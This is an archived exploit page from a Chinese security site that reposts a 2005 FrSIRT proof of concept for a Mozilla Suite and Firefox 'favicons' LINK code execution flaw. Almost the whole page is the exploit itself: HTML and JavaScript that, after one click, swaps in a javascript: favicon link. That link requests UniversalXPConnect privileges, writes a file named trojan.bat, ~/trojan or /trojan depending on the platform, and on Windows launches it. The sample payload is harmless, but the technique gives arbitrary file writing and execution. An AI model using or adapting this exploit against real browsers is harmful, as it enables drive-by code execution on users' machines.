首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mozilla Suite and Firefox favicons LINK Code Execution Exploit
来源:www.vfocus.net 作者:vfocus 发布时间:2005-04-19  

Mozilla Suite and Firefox "favicons" LINK Code Execution Exploit

// FrSIRT Comment : If a user clicks on a link, this code will create and
// launch the file c:\trojan.bat (on Windows).
// On Linux and Mac OS X this code will create the file ~/trojan or /trojan

<html>
<head>
<link rel="SHORTCUT ICON" href="favicon.ico">
<script language="JavaScript" type="text/javascript">
var pf = navigator.platform.toLowerCase();
if (pf.indexOf("win") != -1) {
var os = "win";
} else if (pf.indexOf("mac") != -1) {
var os = "mac";
} else {
var os = "linux"
}
function runDemo() {
// this is an ugly caching workaround
document.getElementById('outhtml').innerHTML = "";
document.getElementById('outhtml').innerHTML +=
document.getElementById('clearhtml').value
document.getElementById('outhtml').innerHTML +=
document.getElementById('clearhtml').value
document.getElementById('outhtml').innerHTML +=
document.getElementById('clearhtml').value
window.setTimeout("document.getElementById('outhtml').innerHTML +=
document.getElementById('linkhtml_"+os+"').value",300);
}
</script>
</head>
<body>

<div id="outhtml" style="display:none"></div>

<textarea id="clearhtml" style="display:none">
<link rel="SHORTCUT ICON" href="favicon.ico">
</textarea>

<textarea id="linkhtml_win" style="display:none">
<link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow
('javascript:netscape.security.PrivilegeManager.enablePrivilege
(\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\']
.createInstance(Components.interfaces.nsILocalFile);
file.initWithPath(\'c:\\\\trojan.bat\');file.createUnique(Components.interfaces.nsIFile
.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/
network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFile
OutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO
OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE\\n:END\';outputStream.write(output,
output.length);outputStream.close();file.launch();','','')">
</textarea>

<textarea id="linkhtml_mac" style="display:none">
<link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:
netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');
file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components
.interfaces.nsILocalFile);file.initWithPath(\'/trojan\');file.createUnique(Components
.interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes
[\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces
.nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);
output=\'trojan!\';outputStream.write(output,output.length);outputStream.close();','','')">
</textarea>

<textarea id="linkhtml_linux" style="display:none">
<link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape
.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components
.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);
file.initWithPath(\'~/trojan\');file.createUnique(Components.interfaces.nsIFile
.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
outputStream.init(file,0x04|0x08|0x20,420,0);output=\'trojan!\';outputStream.
write(output,output.length);outputStream.close();','','')">
</textarea><br>
<a href="#" onclick="runDemo();runDemo();">Click HERE</a>
</div>
</body>
</html>



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mozilla Firefox Sidebar Code E
·Microsoft Windows IP Validatio
·Sendmail <= 8.12.9 remote e
·Serendipity exit.php SQL Injec
·Sumus v0.2.2 httpd Component R
·Explorer.exe WMF Parsing DoS
·Multiple Debuggers Security By
·sphpblog多个输入验证漏洞
·Salim Gasmi GLD Postfix Greyli
·PostgreSQL 8.x PL/PgSQL Remote
·Oracle Database PL/SQL Stateme
·PMSoftware Simple Web Server R
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved